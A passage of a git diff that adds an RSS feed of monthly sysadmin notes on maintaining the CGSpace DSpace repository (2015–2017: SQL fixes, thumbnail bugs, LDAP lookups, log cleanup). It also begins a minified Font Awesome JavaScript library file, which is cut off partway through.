(&ldquo;MANAGING CLIMATE RISK&rdquo;): <a href="https://github.com/ilri/DSpace/pull/317">https://github.com/ilri/DSpace/pull/317</a></li> +<li>Quick proof-of-concept hack to add <code>dc.rights</code> to the input form, including some inline instructions/hints:</li> +</ul> +<p><img src="https://alanorth.github.io/cgspace-notes/cgspace-notes/2017/04/dc-rights.png" alt="dc.rights in the submission form"></p> +<ul> +<li>Remove redundant/duplicate text in the DSpace submission license</li> +<li>Testing the CMYK patch on a collection with 650 items:</li> +</ul> +<pre tabindex="0"><code>$ [dspace]/bin/dspace filter-media -f -i 10568/16498 -p &#34;ImageMagick PDF Thumbnail&#34; -v &gt;&amp; /tmp/filter-media-cmyk.txt +</code></pre> + + + + March, 2017 + https://alanorth.github.io/cgspace-notes/2017-03/ + Wed, 01 Mar 2017 17:08:52 +0200 + + https://alanorth.github.io/cgspace-notes/2017-03/ + <h2 id="2017-03-01">2017-03-01</h2> +<ul> +<li>Run the 279 CIAT author corrections on CGSpace</li> +</ul> +<h2 id="2017-03-02">2017-03-02</h2> +<ul> +<li>Skype with Michael and Peter, discussing moving the CGIAR Library to CGSpace</li> +<li>CGIAR people possibly open to moving content, redirecting library.cgiar.org to CGSpace and letting CGSpace resolve their handles</li> +<li>They might come in at the top level in one &ldquo;CGIAR System&rdquo; community, or with several communities</li> +<li>I need to spend a bit of time looking at the multiple handle support in DSpace and see if new content can be minted in both handles, or just one?</li> +<li>Need to send Peter and Michael some notes about this in a few days</li> +<li>Also, need to consider talking to Atmire about hiring them to bring ORCiD metadata to REST / OAI</li> +<li>Filed an issue on DSpace issue tracker for the <code>filter-media</code> bug that causes it to process JPGs even when limiting to the PDF thumbnail plugin: <a href="https://jira.duraspace.org/browse/DS-3516">DS-3516</a></li> +<li>Discovered that the ImageMagic <code>filter-media</code> plugin creates JPG thumbnails with the CMYK colorspace when the source PDF is using CMYK</li> +<li>Interestingly, it seems DSpace 4.x&rsquo;s thumbnails were sRGB, but forcing regeneration using DSpace 5.x&rsquo;s ImageMagick plugin creates CMYK JPGs if the source PDF was CMYK (see <a href="https://cgspace.cgiar.org/handle/10568/51999">10568/51999</a>):</li> +</ul> +<pre tabindex="0"><code>$ identify ~/Desktop/alc_contrastes_desafios.jpg +/Users/aorth/Desktop/alc_contrastes_desafios.jpg JPEG 464x600 464x600+0+0 8-bit CMYK 168KB 0.000u 0:00.000 +</code></pre> + + + + February, 2017 + https://alanorth.github.io/cgspace-notes/2017-02/ + Tue, 07 Feb 2017 07:04:52 -0800 + + https://alanorth.github.io/cgspace-notes/2017-02/ + <h2 id="2017-02-07">2017-02-07</h2> +<ul> +<li>An item was mapped twice erroneously again, so I had to remove one of the mappings manually:</li> +</ul> +<pre tabindex="0"><code>dspace=# select * from collection2item where item_id = &#39;80278&#39;; + id | collection_id | item_id +-------+---------------+--------- + 92551 | 313 | 80278 + 92550 | 313 | 80278 + 90774 | 1051 | 80278 +(3 rows) +dspace=# delete from collection2item where id = 92551 and item_id = 80278; +DELETE 1 +</code></pre><ul> +<li>Create issue on GitHub to track the addition of CCAFS Phase II project tags (<a href="https://github.com/ilri/DSpace/issues/301">#301</a>)</li> +<li>Looks like we&rsquo;ll be using <code>cg.identifier.ccafsprojectpii</code> as the field name</li> +</ul> + + + + January, 2017 + https://alanorth.github.io/cgspace-notes/2017-01/ + Mon, 02 Jan 2017 10:43:00 +0300 + + https://alanorth.github.io/cgspace-notes/2017-01/ + <h2 id="2017-01-02">2017-01-02</h2> +<ul> +<li>I checked to see if the Solr sharding task that is supposed to run on January 1st had run and saw there was an error</li> +<li>I tested on DSpace Test as well and it doesn&rsquo;t work there either</li> +<li>I asked on the dspace-tech mailing list because it seems to be broken, and actually now I&rsquo;m not sure if we&rsquo;ve ever had the sharding task run successfully over all these years</li> +</ul> + + + + December, 2016 + https://alanorth.github.io/cgspace-notes/2016-12/ + Fri, 02 Dec 2016 10:43:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-12/ + <h2 id="2016-12-02">2016-12-02</h2> +<ul> +<li>CGSpace was down for five hours in the morning while I was sleeping</li> +<li>While looking in the logs for errors, I see tons of warnings about Atmire MQM:</li> +</ul> +<pre tabindex="0"><code>2016-12-02 03:00:32,352 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=CREATE, SubjectType=BUNDLE, SubjectID=70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632305, dispatcher=1544803905, detail=[null], transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +2016-12-02 03:00:32,353 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY_METADATA, SubjectType=BUNDLE, SubjectID =70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632309, dispatcher=1544803905, detail=&#34;dc.title&#34;, transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +2016-12-02 03:00:32,353 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=ITEM, SubjectID=80044, Object Type=BUNDLE, ObjectID=70316, TimeStamp=1480647632311, dispatcher=1544803905, detail=&#34;THUMBNAIL&#34;, transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +2016-12-02 03:00:32,353 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=BUNDLE, SubjectID=70316, Obje ctType=BITSTREAM, ObjectID=86715, TimeStamp=1480647632318, dispatcher=1544803905, detail=&#34;-1&#34;, transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +2016-12-02 03:00:32,353 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY, SubjectType=ITEM, SubjectID=80044, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632351, dispatcher=1544803905, detail=[null], transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +</code></pre><ul> +<li>I see thousands of them in the logs for the last few months, so it&rsquo;s not related to the DSpace 5.5 upgrade</li> +<li>I&rsquo;ve raised a ticket with Atmire to ask</li> +<li>Another worrying error from dspace.log is:</li> +</ul> + + + + November, 2016 + https://alanorth.github.io/cgspace-notes/2016-11/ + Tue, 01 Nov 2016 09:21:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-11/ + <h2 id="2016-11-01">2016-11-01</h2> +<ul> +<li>Add <code>dc.type</code> to the output options for Atmire&rsquo;s Listings and Reports module (<a href="https://github.com/ilri/DSpace/pull/286">#286</a>)</li> +</ul> +<p><img src="https://alanorth.github.io/cgspace-notes/cgspace-notes/2016/11/listings-and-reports.png" alt="Listings and Reports with output type"></p> + + + + October, 2016 + https://alanorth.github.io/cgspace-notes/2016-10/ + Mon, 03 Oct 2016 15:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-10/ + <h2 id="2016-10-03">2016-10-03</h2> +<ul> +<li>Testing adding <a href="https://wiki.lyrasis.org/display/DSDOC5x/ORCID+Integration#ORCIDIntegration-EditingexistingitemsusingBatchCSVEditing">ORCIDs to a CSV</a> file for a single item to see if the author orders get messed up</li> +<li>Need to test the following scenarios to see how author order is affected: +<ul> +<li>ORCIDs only</li> +<li>ORCIDs plus normal authors</li> +</ul> +</li> +<li>I exported a random item&rsquo;s metadata as CSV, deleted <em>all columns</em> except id and collection, and made a new coloum called <code>ORCID:dc.contributor.author</code> with the following random ORCIDs from the ORCID registry:</li> +</ul> +<pre tabindex="0"><code>0000-0002-6115-0956||0000-0002-3812-8793||0000-0001-7462-405X +</code></pre> + + + + September, 2016 + https://alanorth.github.io/cgspace-notes/2016-09/ + Thu, 01 Sep 2016 15:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-09/ + <h2 id="2016-09-01">2016-09-01</h2> +<ul> +<li>Discuss helping CCAFS with some batch tagging of ORCID IDs for their authors</li> +<li>Discuss how the migration of CGIAR&rsquo;s Active Directory to a flat structure will break our LDAP groups in DSpace</li> +<li>We had been using <code>DC=ILRI</code> to determine whether a user was ILRI or not</li> +<li>It looks like we might be able to use OUs now, instead of DCs:</li> +</ul> +<pre tabindex="0"><code>$ ldapsearch -x -H ldaps://svcgroot2.cgiarad.org:3269/ -b &#34;dc=cgiarad,dc=org&#34; -D &#34;admigration1@cgiarad.org&#34; -W &#34;(sAMAccountName=admigration1)&#34; +</code></pre> + + + + August, 2016 + https://alanorth.github.io/cgspace-notes/2016-08/ + Mon, 01 Aug 2016 15:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-08/ + <h2 id="2016-08-01">2016-08-01</h2> +<ul> +<li>Add updated distribution license from Sisay (<a href="https://github.com/ilri/DSpace/issues/259">#259</a>)</li> +<li>Play with upgrading Mirage 2 dependencies in <code>bower.json</code> because most are several versions of out date</li> +<li>Bootstrap is at 3.3.0 but upstream is at 3.3.7, and upgrading to anything beyond 3.3.1 breaks glyphicons and probably more</li> +<li>bower stuff is a dead end, waste of time, too many issues</li> +<li>Anything after Bootstrap 3.3.1 makes glyphicons disappear (HTTP 404 trying to access from incorrect path of <code>fonts</code>)</li> +<li>Start working on DSpace 5.1 → 5.5 port:</li> +</ul> +<pre tabindex="0"><code>$ git checkout -b 55new 5_x-prod +$ git reset --hard ilri/5_x-prod +$ git rebase -i dspace-5.5 +</code></pre> + + + + July, 2016 + https://alanorth.github.io/cgspace-notes/2016-07/ + Fri, 01 Jul 2016 10:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-07/ + <h2 id="2016-07-01">2016-07-01</h2> +<ul> +<li>Add <code>dc.description.sponsorship</code> to Discovery sidebar facets and make investors clickable in item view (<a href="https://github.com/ilri/DSpace/issues/232">#232</a>)</li> +<li>I think this query should find and replace all authors that have &ldquo;,&rdquo; at the end of their names:</li> +</ul> +<pre tabindex="0"><code>dspacetest=# update metadatavalue set text_value = regexp_replace(text_value, &#39;(^.+?),$&#39;, &#39;\1&#39;) where metadata_field_id=3 and resource_type_id=2 and text_value ~ &#39;^.+?,$&#39;; +UPDATE 95 +dspacetest=# select text_value from metadatavalue where metadata_field_id=3 and resource_type_id=2 and text_value ~ &#39;^.+?,$&#39;; + text_value +------------ +(0 rows) +</code></pre><ul> +<li>In this case the select query was showing 95 results before the update</li> +</ul> + + + + June, 2016 + https://alanorth.github.io/cgspace-notes/2016-06/ + Wed, 01 Jun 2016 10:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-06/ + <h2 id="2016-06-01">2016-06-01</h2> +<ul> +<li>Experimenting with IFPRI OAI (we want to harvest their publications)</li> +<li>After reading the <a href="https://www.oclc.org/support/services/contentdm/help/server-admin-help/oai-support.en.html">ContentDM documentation</a> I found IFPRI&rsquo;s OAI endpoint: <a href="http://ebrary.ifpri.org/oai/oai.php">http://ebrary.ifpri.org/oai/oai.php</a></li> +<li>After reading the <a href="https://www.openarchives.org/OAI/openarchivesprotocol.html">OAI documentation</a> and testing with an <a href="http://validator.oaipmh.com/">OAI validator</a> I found out how to get their publications</li> +<li>This is their publications set: <a href="http://ebrary.ifpri.org/oai/oai.php?verb=ListRecords&amp;from=2016-01-01&amp;set=p15738coll2&amp;metadataPrefix=oai_dc">http://ebrary.ifpri.org/oai/oai.php?verb=ListRecords&amp;from=2016-01-01&amp;set=p15738coll2&amp;metadataPrefix=oai_dc</a></li> +<li>You can see the others by using the OAI <code>ListSets</code> verb: <a href="http://ebrary.ifpri.org/oai/oai.php?verb=ListSets">http://ebrary.ifpri.org/oai/oai.php?verb=ListSets</a></li> +<li>Working on second phase of metadata migration, looks like this will work for moving CPWF-specific data in <code>dc.identifier.fund</code> to <code>cg.identifier.cpwfproject</code> and then the rest to <code>dc.description.sponsorship</code></li> +</ul> + + + + May, 2016 + https://alanorth.github.io/cgspace-notes/2016-05/ + Sun, 01 May 2016 23:06:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-05/ + <h2 id="2016-05-01">2016-05-01</h2> +<ul> +<li>Since yesterday there have been 10,000 REST errors and the site has been unstable again</li> +<li>I have blocked access to the API now</li> +<li>There are 3,000 IPs accessing the REST API in a 24-hour period!</li> +</ul> +<pre tabindex="0"><code># awk &#39;{print $1}&#39; /var/log/nginx/rest.log | uniq | wc -l +3168 +</code></pre> + + + + April, 2016 + https://alanorth.github.io/cgspace-notes/2016-04/ + Mon, 04 Apr 2016 11:06:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-04/ + <h2 id="2016-04-04">2016-04-04</h2> +<ul> +<li>Looking at log file use on CGSpace and notice that we need to work on our cron setup a bit</li> +<li>We are backing up all logs in the log folder, including useless stuff like solr, cocoon, handle-plugin, etc</li> +<li>After running DSpace for over five years I&rsquo;ve never needed to look in any other log file than dspace.log, leave alone one from last year!</li> +<li>This will save us a few gigs of backup space we&rsquo;re paying for on S3</li> +<li>Also, I noticed the <code>checker</code> log has some errors we should pay attention to:</li> +</ul> + + + + March, 2016 + https://alanorth.github.io/cgspace-notes/2016-03/ + Wed, 02 Mar 2016 16:50:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-03/ + <h2 id="2016-03-02">2016-03-02</h2> +<ul> +<li>Looking at issues with author authorities on CGSpace</li> +<li>For some reason we still have the <code>index-lucene-update</code> cron job active on CGSpace, but I&rsquo;m pretty sure we don&rsquo;t need it as of the latest few versions of Atmire&rsquo;s Listings and Reports module</li> +<li>Reinstall my local (Mac OS X) DSpace stack with Tomcat 7, PostgreSQL 9.3, and Java JDK 1.7 to match environment on CGSpace server</li> +</ul> + + + + February, 2016 + https://alanorth.github.io/cgspace-notes/2016-02/ + Fri, 05 Feb 2016 13:18:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-02/ + <h2 id="2016-02-05">2016-02-05</h2> +<ul> +<li>Looking at some DAGRIS data for Abenet Yabowork</li> +<li>Lots of issues with spaces, newlines, etc causing the import to fail</li> +<li>I noticed we have a very <em>interesting</em> list of countries on CGSpace:</li> +</ul> +<p><img src="https://alanorth.github.io/cgspace-notes/cgspace-notes/2016/02/cgspace-countries.png" alt="CGSpace country list"></p> +<ul> +<li>Not only are there 49,000 countries, we have some blanks (25)&hellip;</li> +<li>Also, lots of things like &ldquo;COTE D`LVOIRE&rdquo; and &ldquo;COTE D IVOIRE&rdquo;</li> +</ul> + + + + January, 2016 + https://alanorth.github.io/cgspace-notes/2016-01/ + Wed, 13 Jan 2016 13:18:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-01/ + <h2 id="2016-01-13">2016-01-13</h2> +<ul> +<li>Move ILRI collection <code>10568/12503</code> from <code>10568/27869</code> to <code>10568/27629</code> using the <a href="https://gist.github.com/alanorth/392c4660e8b022d99dfa">move_collections.sh</a> script I wrote last year.</li> +<li>I realized it is only necessary to clear the Cocoon cache after moving collections—rather than reindexing—as no metadata has changed, and therefore no search or browse indexes need to be updated.</li> +<li>Update GitHub wiki for documentation of <a href="https://github.com/ilri/DSpace/wiki/Maintenance-Tasks">maintenance tasks</a>.</li> +</ul> + + + + December, 2015 + https://alanorth.github.io/cgspace-notes/2015-12/ + Wed, 02 Dec 2015 13:18:00 +0300 + + https://alanorth.github.io/cgspace-notes/2015-12/ + <h2 id="2015-12-02">2015-12-02</h2> +<ul> +<li>Replace <code>lzop</code> with <code>xz</code> in log compression cron jobs on DSpace Test—it uses less space:</li> +</ul> +<pre tabindex="0"><code># cd /home/dspacetest.cgiar.org/log +# ls -lh dspace.log.2015-11-18* +-rw-rw-r-- 1 tomcat7 tomcat7 2.0M Nov 18 23:59 dspace.log.2015-11-18 +-rw-rw-r-- 1 tomcat7 tomcat7 387K Nov 18 23:59 dspace.log.2015-11-18.lzo +-rw-rw-r-- 1 tomcat7 tomcat7 169K Nov 18 23:59 dspace.log.2015-11-18.xz +</code></pre> + + + + November, 2015 + https://alanorth.github.io/cgspace-notes/2015-11/ + Mon, 23 Nov 2015 17:00:57 +0300 + + https://alanorth.github.io/cgspace-notes/2015-11/ + <h2 id="2015-11-22">2015-11-22</h2> +<ul> +<li>CGSpace went down</li> +<li>Looks like DSpace exhausted its PostgreSQL connection pool</li> +<li>Last week I had increased the limit from 30 to 60, which seemed to help, but now there are many more idle connections:</li> +</ul> +<pre tabindex="0"><code>$ psql -c &#39;SELECT * from pg_stat_activity;&#39; | grep idle | grep -c cgspace +78 +</code></pre> + + + + diff --git a/docs/js/fontawesome.min.f5072c55a0721857184db93a50561d7dc13975b4de2e19db7f81eb5f3fa57270.js b/docs/js/fontawesome.min.f5072c55a0721857184db93a50561d7dc13975b4de2e19db7f81eb5f3fa57270.js new file mode 100644 index 000000000..bd6d61a39 --- /dev/null +++ b/docs/js/fontawesome.min.f5072c55a0721857184db93a50561d7dc13975b4de2e19db7f81eb5f3fa57270.js @@ -0,0 +1,2 @@ +/*! For license information please see fontawesome.min.js.LICENSE.txt */ +(()=>{"use strict";var t={};function n(t){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},n(t)}function e(t,n){for(var e=0;e-1;r--){var i=e[r],o=(i.tagName||"").toUpperCase();["STYLE","LINK"].indexOf(o)>-1&&(a=i)}return p.head.insertBefore(n,a),t}}function pt(){for(var t=12,n="";t-- >0;)n+="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[62*Math.random()|0];return n}function ht(t){for(var n=[],e=(t||[]).length>>>0;e--;)n[e]=t[e];return n}function gt(t){return t.classList?ht(t.classList):(t.getAttribute("class")||"").split(" ").filter((function(t){return t}))}function vt(t){return"".concat(t).replace(/&/g,"&").replace(/"/g,""").replace(/'/g,"'").replace(//g,">")}function bt(t){return Object.keys(t||{}).reduce((function(n,e){return n+"".concat(e,": ").concat(t[e],";")}),"")}function yt(t){return t.size!==mt.size||t.x!==mt.x||t.y!==mt.y||t.rotate!==mt.rotate||t.flipX||t.flipY}function wt(t){var n=t.transform,e=t.containerWidth,a=t.iconWidth,r={transform:"translate(".concat(e/2," 256)")},i="translate(".concat(32*n.x,", ").concat(32*n.y,") "),o="scale(".concat(n.size/16*(n.flipX?-1:1),", ").concat(n.size/16*(n.flipY?-1:1),") "),c="rotate(".concat(n.rotate," 0 0)");return{outer:r,inner:{transform:"".concat(i," ").concat(o," ").concat(c)},path:{transform:"translate(".concat(a/2*-1," -256)")}}}var xt={x:0,y:0,width:"100%",height:"100%"};function kt(t){var n=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return t.attributes&&(t.attributes.fill||n)&&(t.attributes.fill="black"),t}function _t(t){var n=t.icons,e=n.main,a=n.mask,i=t.prefix,o=t.iconName,c=t.transform,s=t.symbol,f=t.title,l=t.maskId,u=t.titleId,m=t.extra,d=t.watchable,p=void 0!==d&&d,h=a.found?a:e,g=h.width,v=h.height,b="fak"===i,y=b?"":"fa-w-".concat(Math.ceil(g/v*16)),x=[R.replacementClass,o?"".concat(R.familyPrefix,"-").concat(o):"",y].filter((function(t){return-1===m.classes.indexOf(t)})).filter((function(t){return""!==t||!!t})).concat(m.classes).join(" "),k={children:[],attributes:r({},m.attributes,{"data-prefix":i,"data-icon":o,class:x,role:m.attributes.role||"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 ".concat(g," ").concat(v)})},_=b&&!~m.classes.indexOf("fa-fw")?{width:"".concat(g/v*16*.0625,"em")}:{};p&&(k.attributes[w]=""),f&&k.children.push({tag:"title",attributes:{id:k.attributes["aria-labelledby"]||"title-".concat(u||pt())},children:[f]});var A=r({},k,{prefix:i,iconName:o,main:e,mask:a,maskId:l,transform:c,symbol:s,styles:r({},_,m.styles)}),M=a.found&&e.found?function(t){var n,e=t.children,a=t.attributes,i=t.main,o=t.mask,c=t.maskId,s=t.transform,f=i.width,l=i.icon,u=o.width,m=o.icon,d=wt({transform:s,containerWidth:u,iconWidth:f}),p={tag:"rect",attributes:r({},xt,{fill:"white"})},h=l.children?{children:l.children.map(kt)}:{},g={tag:"g",attributes:r({},d.inner),children:[kt(r({tag:l.tag,attributes:r({},l.attributes,d.path)},h))]},v={tag:"g",attributes:r({},d.outer),children:[g]},b="mask-".concat(c||pt()),y="clip-".concat(c||pt()),w={tag:"mask",attributes:r({},xt,{id:b,maskUnits:"userSpaceOnUse",maskContentUnits:"userSpaceOnUse"}),children:[p,v]},x={tag:"defs",children:[{tag:"clipPath",attributes:{id:y},children:(n=m,"g"===n.tag?n.children:[n])},w]};return e.push(x,{tag:"rect",attributes:r({fill:"currentColor","clip-path":"url(#".concat(y,")"),mask:"url(#".concat(b,")")},xt)}),{children:e,attributes:a}}(A):function(t){var n=t.children,e=t.attributes,a=t.main,i=t.transform,o=bt(t.styles);if(o.length>0&&(e.style=o),yt(i)){var c=wt({transform:i,containerWidth:a.width,iconWidth:a.width});n.push({tag:"g",attributes:r({},c.outer),children:[{tag:"g",attributes:r({},c.inner),children:[{tag:a.icon.tag,children:a.icon.children,attributes:r({},a.icon.attributes,c.path)}]}]})}else n.push(a.icon);return{children:n,attributes:e}}(A),O=M.children,N=M.attributes;return A.children=O,A.attributes=N,s?function(t){var n=t.prefix,e=t.iconName,a=t.children,i=t.attributes,o=t.symbol;return[{tag:"svg",attributes:{style:"display: none;"},children:[{tag:"symbol",attributes:r({},i,{id:!0===o?"".concat(n,"-").concat(R.familyPrefix,"-").concat(e):o}),children:a}]}]}(A):function(t){var n=t.children,e=t.main,a=t.mask,i=t.attributes,o=t.styles,c=t.transform;if(yt(c)&&e.found&&!a.found){var s={x:e.width/e.height/2,y:.5};i.style=bt(r({},o,{"transform-origin":"".concat(s.x+c.x/16,"em ").concat(s.y+c.y/16,"em")}))}return[{tag:"svg",attributes:i,children:n}]}(A)}function At(t){var n=t.content,e=t.width,a=t.height,i=t.transform,o=t.title,c=t.extra,s=t.watchable,f=void 0!==s&&s,l=r({},c.attributes,o?{title:o}:{},{class:c.classes.join(" ")});f&&(l[w]="");var u=r({},c.styles);yt(i)&&(u.transform=function(t){var n=t.transform,e=t.width,a=void 0===e?16:e,r=t.height,i=void 0===r?16:r,o=t.startCentered,c=void 0!==o&&o,s="";return s+=c&&b?"translate(".concat(n.x/ut-a/2,"em, ").concat(n.y/ut-i/2,"em) "):c?"translate(calc(-50% + ".concat(n.x/ut,"em), calc(-50% + ").concat(n.y/ut,"em)) "):"translate(".concat(n.x/ut,"em, ").concat(n.y/ut,"em) "),(s+="scale(".concat(n.size/ut*(n.flipX?-1:1),", ").concat(n.size/ut*(n.flipY?-1:1),") "))+"rotate(".concat(n.rotate,"deg) ")}({transform:i,startCentered:!0,width:e,height:a}),u["-webkit-transform"]=u.transform);var m=bt(u);m.length>0&&(l.style=m);var d=[];return d.push({tag:"span",attributes:l,children:[n]}),o&&d.push({tag:"span",attributes:{class:"sr-only"},children:[o]}),d}var Mt=function(){},Ot=R.measurePerformance&&g&&g.mark&&g.measure?g:{mark:Mt,measure:Mt},Nt='FA "5.15.4"',Ct=function(t){return Ot.mark("".concat(Nt," ").concat(t," begins")),function(){return function(t){Ot.mark("".concat(Nt," ").concat(t," ends")),Ot.measure("".concat(Nt," ").concat(t),"".concat(Nt," ").concat(t," begins"),"".concat(Nt," ").concat(t," ends"))}(t)}},Et=function(t,n,e,a){var r,i,o,c=Object.keys(t),s=c.length,f=void 0!==a?function(t,n){return function(e,a,r,i){return t.call(n,e,a,r,i)}}(n,a):n;for(void 0===e?(r=1,o=t[c[0]]):(r=0,o=e);r2&&void 0!==arguments[2]?arguments[2]:{},a=e.skipHooks,i=void 0!==a&&a,o=Object.keys(n).reduce((function(t,e){var a=n[e];return a.icon?t[a.iconName]=a.icon:t[e]=a,t}),{});"function"!=typeof H.hooks.addPack||i?H.styles[t]=r({},H.styles[t]||{},o):H.hooks.addPack(t,o),"fas"===t&&zt("fa",n)}var Pt=H.styles,Tt=H.shims,It={},jt={},Lt={},Rt=function(){var t=function(t){return Et(Pt,(function(n,e,a){return n[a]=Et(e,t,{}),n}),{})};It=t((function(t,n,e){return n[3]&&(t[n[3]]=e),t})),jt=t((function(t,n,e){var a=n[2];return t[e]=e,a.forEach((function(n){t[n]=e})),t}));var n="far"in Pt;Lt=Et(Tt,(function(t,e){var a=e[0],r=e[1],i=e[2];return"far"!==r||n||(r="fas"),t[a]={prefix:r,iconName:i},t}),{})};function Ft(t,n){return(It[t]||{})[n]}Rt();var Ht=H.styles;function Dt(t){return t.reduce((function(t,n){var e=function(t,n){var e,a=n.split("-"),r=a[0],i=a.slice(1).join("-");return r!==t||""===i||(e=i,~I.indexOf(e))?null:i}(R.familyPrefix,n);if(Ht[n])t.prefix=n;else if(R.autoFetchSvg&&Object.keys(M).indexOf(n)>-1)t.prefix=n;else if(e){var a="fa"===t.prefix?Lt[e]||{prefix:null,iconName:null}:{};t.iconName=a.iconName||e,t.prefix=a.prefix||t.prefix}else n!==R.replacementClass&&0!==n.indexOf("fa-w-")&&t.rest.push(n);return t}),{prefix:null,iconName:null,rest:[]})}function Yt(t){var n=t.tag,e=t.attributes,a=void 0===e?{}:e,r=t.children,i=void 0===r?[]:r;return"string"==typeof t?vt(t):"<".concat(n," ").concat(function(t){return Object.keys(t||{}).reduce((function(n,e){return n+"".concat(e,'="').concat(vt(t[e]),'" ')}),"").trim()}(a),">").concat(i.map(Yt).join(""),"")}var Vt=function(){};function Wt(t){return"string"==typeof(t.getAttribute?t.getAttribute(w):null)}var Xt={replace:function(t){var n=t[0],e=t[1].map((function(t){return Yt(t)})).join("\n");if(n.parentNode&&n.outerHTML)n.outerHTML=e+(R.keepOriginalSource&&"svg"!==n.tagName.toLowerCase()?"\x3c!-- ".concat(n.outerHTML," Font Awesome fontawesome.com --\x3e"):"");else if(n.parentNode){var a=document.createElement("span");n.parentNode.replaceChild(a,n),a.outerHTML=e}},nest:function(t){var n=t[0],e=t[1];if(~gt(n).indexOf(R.replacementClass))return Xt.replace(t);var a=new RegExp("".concat(R.familyPrefix,"-.*"));delete e[0].attributes.style,delete e[0].attributes.id;var r=e[0].attributes.class.split(" ").reduce((function(t,n){return n===R.replacementClass||n.match(a)?t.toSvg.push(n):t.toNode.push(n),t}),{toNode:[],toSvg:[]});e[0].attributes.class=r.toSvg.join(" ");var i=e.map((function(t){return Yt(t)})).join("\n");n.setAttribute("class",r.toNode.join(" ")),n.setAttribute(w,""),n.innerHTML=i}};function Bt(t){t()}function Ut(t,n){var e="function"==typeof n?n:Vt;if(0===t.length)e();else{var a=Bt;"async"===R.mutateApproach&&(a=d.requestAnimationFrame||Bt),a((function(){var n=!0===R.autoReplaceSvg?Xt.replace:Xt[R.autoReplaceSvg]||Xt.replace,a=Ct("mutate");t.map(n),a(),e()}))}}var qt=!1;function Gt(){qt=!1}var Kt=null;function Jt(t){if(h&&R.observeMutations){var n=t.treeCallback,e=t.nodeCallback,a=t.pseudoElementsCallback,r=t.observeMutationsRoot,i=void 0===r?p:r;Kt=new h((function(t){qt||ht(t).forEach((function(t){if("childList"===t.type&&t.addedNodes.length>0&&!Wt(t.addedNodes[0])&&(R.searchPseudoElements&&a(t.target),n(t.target)),"attributes"===t.type&&t.target.parentNode&&R.searchPseudoElements&&a(t.target.parentNode),"attributes"===t.type&&Wt(t.target)&&~P.indexOf(t.attributeName))if("class"===t.attributeName){var r=Dt(gt(t.target)),i=r.prefix,o=r.iconName;i&&t.target.setAttribute("data-prefix",i),o&&t.target.setAttribute("data-icon",o)}else e(t.target)}))})),v&&Kt.observe(i,{childList:!0,attributes:!0,characterData:!0,subtree:!0})}}function Qt(t){var n=function(t){var n,e,a=t.getAttribute("data-prefix"),r=t.getAttribute("data-icon"),i=void 0!==t.innerText?t.innerText.trim():"",o=Dt(gt(t));return a&&r&&(o.prefix=a,o.iconName=r),o.prefix&&i.length>1?o.iconName=(n=o.prefix,e=t.innerText,(jt[n]||{})[e]):o.prefix&&1===i.length&&(o.iconName=Ft(o.prefix,St(t.innerText))),o}(t),e=n.iconName,a=n.prefix,r=n.rest,i=function(t){var n=t.getAttribute("style"),e=[];return n&&(e=n.split(";").reduce((function(t,n){var e=n.split(":"),a=e[0],r=e.slice(1);return a&&r.length>0&&(t[a]=r.join(":").trim()),t}),{})),e}(t),o=function(t){return function(t){var n={size:16,x:0,y:0,flipX:!1,flipY:!1,rotate:0};return t?t.toLowerCase().split(" ").reduce((function(t,n){var e=n.toLowerCase().split("-"),a=e[0],r=e.slice(1).join("-");if(a&&"h"===r)return t.flipX=!0,t;if(a&&"v"===r)return t.flipY=!0,t;if(r=parseFloat(r),isNaN(r))return t;switch(a){case"grow":t.size=t.size+r;break;case"shrink":t.size=t.size-r;break;case"left":t.x=t.x-r;break;case"right":t.x=t.x+r;break;case"up":t.y=t.y-r;break;case"down":t.y=t.y+r;break;case"rotate":t.rotate=t.rotate+r}return t}),n):n}(t.getAttribute("data-fa-transform"))}(t),c=function(t){var n=t.getAttribute("data-fa-symbol");return null!==n&&(""===n||n)}(t),s=function(t){var n=ht(t.attributes).reduce((function(t,n){return"class"!==t.name&&"style"!==t.name&&(t[n.name]=n.value),t}),{}),e=t.getAttribute("title"),a=t.getAttribute("data-fa-title-id");return R.autoA11y&&(e?n["aria-labelledby"]="".concat(R.replacementClass,"-title-").concat(a||pt()):(n["aria-hidden"]="true",n.focusable="false")),n}(t),f=function(t){var n=t.getAttribute("data-fa-mask");return n?Dt(n.split(" ").map((function(t){return 